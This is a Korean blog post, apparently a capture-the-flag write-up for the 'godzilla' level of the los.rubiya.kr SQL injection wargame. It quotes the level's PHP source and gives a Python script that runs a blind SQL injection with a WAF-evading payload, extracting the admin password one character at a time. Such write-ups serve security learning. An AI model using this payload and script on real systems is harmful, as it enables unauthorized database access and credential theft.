웹찢남

godzilla-writeup 본문

WEB_HACKING/los.rubiya.kr

godzilla-writeup

harry595 2020. 1. 30. 19:22

<?php
  
include "./config.php";
  
login_chk();
  
$db dbconnect();
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~");
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  
$query "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
$result['id']) echo "<h2>Hello admin</h2>";
   
  
$_GET[pw] = addslashes($_GET[pw]);
  
$query "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");
  
highlight_file(__FILE__);
?>

 

뭔가 방화벽만 추가된 첫번째 bsi문제 같다...

아래와 같은 코드로 CLEAR!!!

 

import re
import requests
import time

flag = ''
length= 0
session =dict(PHPSESSID="자신의 PHPSESSID")
for i in range (1,20):
        for j in range(48,128):
                        r=requests.post("https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php?id=-1%27%3C@=1%20OR%20ord(substr(pw,"+str(i)+",1))="+str(j)+"%20OR%20%27",cookies=session)
                        if 'Hello admin' in r.text:
                                flag=flag+str(chr(j))
                                print("finding pw: "+flag)
                                break
print("pw "+flag)


                

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

chupacabra-writeup  (0) 2020.01.30
cyclops-writeup  (0) 2020.01.30
Death-writeup  (0) 2020.01.30
cthulhu-writeup  (0) 2020.01.30
Alien-writeup  (0) 2020.01.30
Comments